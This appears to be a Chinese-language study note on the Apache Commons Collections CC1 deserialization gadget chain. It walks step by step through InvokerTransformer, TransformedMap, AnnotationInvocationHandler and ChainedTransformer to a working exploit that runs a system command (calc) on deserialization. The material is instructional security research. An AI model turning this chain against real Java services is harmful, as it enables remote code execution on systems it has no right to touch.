CommonsCollection - 抄、学和做
CommonsCollections 是 Apache Commons 库中的一个模块,提供了一组实用的集合类,补充了Java标准的Collections API。在 Java 应用程序中,集合类经常用于存储和操作数据。由于其普遍性和重要性,Java 的反序列化漏洞中经常会涉及到集合类。
跟着教程一步步做着学。基本算是教程的一个笔记。
其他参考资料:
CC1
环境配置
配置JDK1.8.0_u65环境。
IDEA新建一个maven项目,然后MVNRepository下载junit4.11和commonscollections3.2.1。
因为sun公司的代码都是class文件,我们所能看到的都是反编译的,且没办法被搜索,所以说可以通过OpenJDK进行下载。
首先,漏洞修复会造成文件修改。可以寻找文件修改前的一个版本。
1 | https://hg.openjdk.org/jdk8u/jdk8u/jdk/log?rev=annotationinvocationhandler |
但是这个页面下没有一个是教程中的版本,非常神秘。教程中的版本为上面搜索结果的第一个的父版本。
1 | https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4 |
下载完成后,解压文件。src/share/classes
目录下有sun
目录。将其复制。
回到JDK1.8.0_u65目录下,其根目录下有
src.zip
文件,将其解压。发现里面没有sun
目录,就要将之前下载的OpenJDK中的sun
目录复制到这里。回到IDEA中,File->Project Structure->Platform Settings->SDKs->JDK1.8.0_u65下,点击
Sourcepath
,将刚才解压的源码路径加上。如:1
C:\Program Files\Java\jdk1.8.0_65\src
同样,Maven下载后也是class文件。右上角有一个download source,下载即可得到.java源文件。
至于怎么下载,可以参考这个
Maven->Execute Maven Goal->mvn dependency:resolve -Dclassifier=sources
分析出口方法
首先看到InvokerTransformer.java
。我们选取构造函数和它的一个公共函数来看。
1 | public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { |
可以发现,这块(transform()
方法)简直就直接是一个用到反射的任意类加载+任意函数执行。
1 | Class cls = input.getClass(); //获取Class |
首先尝试普通反射。
1 | import java.io.*; |
然后尝试调用InvokerTransformer.transform()
注意:需要照着源码做哦,看源码的输入输出
1 | public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { |
这里传完了以后那边使用反射的特性调用了Runtime.getRuntime().exec("calc")
,弹了计算器。
这样,我们就找到了出口方法。
找到利用链
找第一步调用
目前,我们已经找到了出口方法,就是InvokerTransformer.transform()
。现在,我们就需要找找同名函数了。也即寻找transform()
方法。
我们在IDEA里右键transform()
,然后Find Usages。
小技巧:修改Find Usages的Scope
快捷键:ctrl+alt+shift+F7,或者直接点左边那一列按钮里的Settings->Scope
Find Usages找到很多调用。我们的目标就是找到可以回到readObject
里。就这样一个个往下看,比如,看到一个org.apache.commons.collections
下的beanMap.convertType()
方法,我们就可以再找有哪些方法与convertType
重名。
视频攻略直接告诉我们是找到了org.apache.commons.collections.map
下。
看到DefaultMap
类中有get
方法调用了transform
;lazyMap
也一样,TransfromedMap
有很多方法调用transform
。
选取TransfromedMap
类中的checkSetValue()
方法。
1 | protected Object checkSetValue(Object value) { |
接着看到TransfromedMap
类的构造函数,发现是一个protected方法。protected修饰的成员可以被同一个包内的其他类访问,以及该类的子类(不管子类是否在同一个包内)访问,但不能被其他包中的类访问。
1 | protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { |
看看这个构造函数被哪个函数使用了。往上搜,发现有一个static方法,decorate
。这样,就可以通过调用这个静态方法来进行TranformedMap
的实例化。
1 | public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { |
推测这个函数是通过调用TransformedMap
对Transformer
进行一定的处理。有点像代理。
编写代码。我们看到,最后是要调用TransformedMap.checkSetValue()
,从而调用TransformedMap.checkSetValue()
方法体中的valueTransformer.transform(value);
。查看代码,实际上是只对Value
进行操作。
1 | public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { |
我们从decorate
切入,其在运行TransformedMap.decorate()
时,会返回一个新的TransformedMap
对象,
1 | public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { |
再看构造函数,
1 | protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { |
这里会将我们传入的invokerTransformer
赋值给this.valueTransformer
。这样,如果调用checkSetValue
的话,就会运行invokerTransformer.transfrom
了。这里的value
如果可控就可以实现RCE。
1 | protected Object checkSetValue(Object value) { |
找第二步调用
那么这里就得看哪里调用了checkSetValue
。ctrl+alt+F7,发现只有一处调用了这个函数,即MapEntry.setValue()
,继承了AbstractInputCheckedMapDecorator
。AbstractInputCheckedMapDecorator
是一个抽象类,继承了AbstractMapDecorator
(注:TransformedMap
继承了AbstractInputCheckedMapDecorator
)。
MapEntry.java
1 | public Object setValue(Object value) { |
再查看这个setValue
的调用。很多都调用了这个代码。所以需要进行一个理解。首先看类名,MapEntry
,一个entry就是一个键值对的值。比如下面这个代码例子:
1 | for(Map.Entry entry:map.entrySet()){ |
这是一个经典的遍历键值对的例子。entry
代表一个键值对。再查看这个方法,发现这个setValue
就是重写了这个方法。也就是说,只要遍历我们上面经过decorate()
处理过的map,就能触发setValue
方法。因为TransformedMap
没有setValue
方法,就会去找其父类的setValue
方法,也即AbstractInputCheckedMapDecorator.setValue
方法,就会调用TransformedMap.checkSetValue
。
1 | public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { |
这代表这条链是可以用的。已经成功一半了。之后只要找到有遍历数组的地方,且它调用了setValue()即可执行后半条链。
找第三步调用
最好的结果是找readObject()
方法里就有调用setValue()
的。直接对setValue()
进行Find Usages,一个个找,然后发现:
sun.reflect.annotation
包下有一个AnnotationInvocationHandler
类,类中有readObject()
,调用了setValue()
。
AnnotationInvocationHandler.java
1 | private void readObject(java.io.ObjectInputStream s) |
可见,这个类完全符合要求。首先看这个AnnotationInvocationHandler
类的构造函数。
AnnotationInvocationHandler.java
1 | AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { |
Class<? extends Annotation> type, Map<String, Object> memberValues
这两个都是完全可控的。
分析Class<? extends Annotation> type
,其继承自Annotation
,也就是注解。例:@Override
就是一个Annotation。Map<String, Object> memberValues
就直接是一个Map。可以直接将上面构造好的Map传进去。
没写Public的类怎么办?
注意,这个AnnotationInvocationHandler
的类没有被public修饰。也就是说,它是默认的default修饰的。这说明只有在同一个包的类中才能访问到这个类,也就是说,我们需要用反射的方式获取这个类。
没法先先实例化这个类再对这个对象getClass()
的话,就可以直接用包名。Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
即可。
1 | Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 选取包名 |
目前,这个Exp存在着3个问题。
- Runtime对象是自己生成的;而Runtime是无法被序列化的。
- AnnotationInvocationHandler.readObject()中
setValue()
方法的参数是new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name))
,这块儿是控制不了的。 - AnnotationInvocationHandler.readObject()中需要满足两个if条件。
解决第一个问题:如何解决Runtime对象无法序列化?
虽然Runtime没法被序列化,但是Runtime.class可以被序列化。
1 | Class c = Runtime.class; // 获取 Runtime 类的 Class 对象。 |
接下来,需要把这个改成之前的利用链。首先:
1 | new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class); |
(回想起一开始的调用方法:new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
)
我们发现,Method getRuntimeMethod = c.getMethod("getRuntime",null);
这里对Runtime.class
(即c
)调用了getMethod
方法,那么就是在这里进行这段话的调用。我们点进c.getMethod
,查看其参数。其参数为:
1 | String name, Class<?>... parameterTypes |
那么,所对应的InvokerTransformer
的第二个参数(即“参数类型”参数)即为一个字符串类和一个Class数组类,即String.class, Class[].class
。
对于第三个参数(即“参数(args)”参数)来说,我们的c.getMethod("getRuntime",null)
传入了两个参数,"getRuntime",null
,那么直接new一个Object数组放进去即可。
可得改写为:
1 | new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class); |
这就是c.getMethod("getRuntime",null);
通过InvokerTransformer
来表示的方式。原Exp的那一句就可以写成:
1 | Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class); |
注意强制类型转换。
下一步是转换这段代码:
1 | Runtime r = (Runtime) getRuntimeMethod.invoke(null,null); |
转换为:
1 | Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod); |
完全一样。首先,我们需要调用的是getRuntimeMethod.invoke
方法,所以transform(getRuntimeMethod)
,InvokerTransformer
的第一个参数为"invoke"
。然后,看invoke
接收的参数,发现是一个Object
对象,一个Object数组
。把这个函数相应的参数放到第三个参数的Object数组
里即可。
接下来,
1 | Method execMethod = c.getMethod("exec", String.class); |
这两句并不是可以需要苦哈哈再写下面这种了,而是刚才直接获取了Runtime
,能直接用Runtime.exec()
来解决。
1 | Method execMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"exec", String.class}).transform(getRuntimeMethod); |
也就是可以直接用这一步来办:
1 | new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r); |
总的代码为:
1 | Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class); |
这个就是
1 | Class c = Runtime.class; |
的可序列化版本。运行,直接弹计算器了。
Transform的优化
这个是类似“一前一后”的调用。如果要完成全部的反序列化链要写很多代码,但是看到之前有一个ChainedTransformer
类。其构造函数如下
1 | public static Transformer getInstance(Transformer[] transformers) { |
传入一个Transformer[]
,其transform()
方法可以完成对transformer的递归调用。
1 | public Object transform(Object object) { |
可将上面的三行优化到一起:
1 | Transformer[] transformers = new Transformer[]{ |
一开始传入一个Runtime.class
,后面接着递归调用即可。这就是只调用了一个transform
。
现在的代码为:
1 | public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException { |
解决第三个问题:满足if条件
目前执行不了,因为刚才的3个问题还剩两个:
2. AnnotationInvocationHandler.readObject()中setValue()
方法的参数是new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name))
,这块儿是控制不了的。
3. AnnotationInvocationHandler.readObject()中需要满足两个if条件。
动态调试一下,发现卡在了
AnnotationInvocation.java
1 | String name = memberValue.getKey(); //获取这个key |
该如何绕过?向上看memberTypes
的定义,发现它是annotationType.memberTypes();
,再往前又有annotationType = AnnotationType.getInstance(type);
1 | annotationType = AnnotationType.getInstance(type); // 这行代码使用给定的类型 type 获取对应的注解类型。AnnotationType.getInstance(type) 返回一个 AnnotationType 对象,代表了这个注解类型。 |
所以这个就是找存在成员方法的注解类,并且把传进去的Map的key修改为该注解类中的成员方法名。点进去我们之前使用的Override注解类,发现其不存在成员方法。
1 |
|
再向上点@Target
,查看Target注解类,其存在
1 |
|
ElementType[] value();
成员方法。
1 | map.put("value","aaa"); // 修改key为value,和Target注解类的成员方法名对应 |
接下来是第二个if。
1 | if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) |
检查是否能强制类型转换?即,value能否强转为memberType的实例或value是否能强转为ExceptionProxy的实例?
这部分代码使用了逻辑非操作符 !,对前面两个条件的结果进行取反。也就是说,如果 value 不是 memberType 的实例并且也不是 ExceptionProxy 类的实例,则整个表达式的结果为 true;否则为 false。
能过。
解决第二个问题:setValue参数不可控
- AnnotationInvocationHandler.readObject()中
setValue()
方法的参数是new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name))
,这块儿是控制不了的。
再看这个setValue()
方法,
1 | memberValue.setValue(new AnnotationTypeMismatchExceptionProxy( |
我们需要把Runtime.class
放进去,而不是这个AnnotationTypeMismatchExceptionProxy()
。
教程回想了之前看到的类:“ConstantTransformer
”类,其无论输入什么,都会返回return iConstant;
。那只要最后调用的是ConstantTransformer
的transform
,就可以把值改过来了。
ConstantTransformer.java
1 | public Object transform(Object input) { |
最终的Exp
1 | public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException { |
运行后,在反序列化时成功弹计算器。
补充学习
Java 单例类
Java 中的单例类是一种设计模式,用于确保某个类只有一个实例,并提供一个全局访问点。这种模式通常用于控制资源的访问,例如数据库连接、线程池、日志记录器等。
在这个调用链中,Runtime
就是一个很经典的单例类。
Runtime 类是 Java 中的一个单例类,用于表示当前 Java 应用程序的运行时环境。通过 Runtime 类,可以获取有关 Java 虚拟机的信息,并且可以与系统进行交互,比如执行系统命令、获取系统属性等。由于每个 Java 应用程序只有一个运行时环境,因此 Runtime 类使用单例模式实现,即在整个应用程序中只有一个 Runtime 类的实例。
Runtime 类的构造方法是私有的,因此外部无法直接实例化 Runtime 对象。相反,Runtime 类提供了一个静态方法 getRuntime() 来获取 Runtime 类的实例。这个方法会返回当前 Java 应用程序的 Runtime 对象,如果该对象尚未创建,则会创建一个新的实例并返回。
所以在调用链中,需要Runtime.getRuntime()
来获取Runtime对象。注意,Runtime的构造方法是私有的,所以没有办法通过构造方法的方式获取Runtime
类的对象。
所以用反射的方式调用Runtime对象并且获取方法需要四步:
1 | Class c = Class.forName("java.lang.Runtime"); |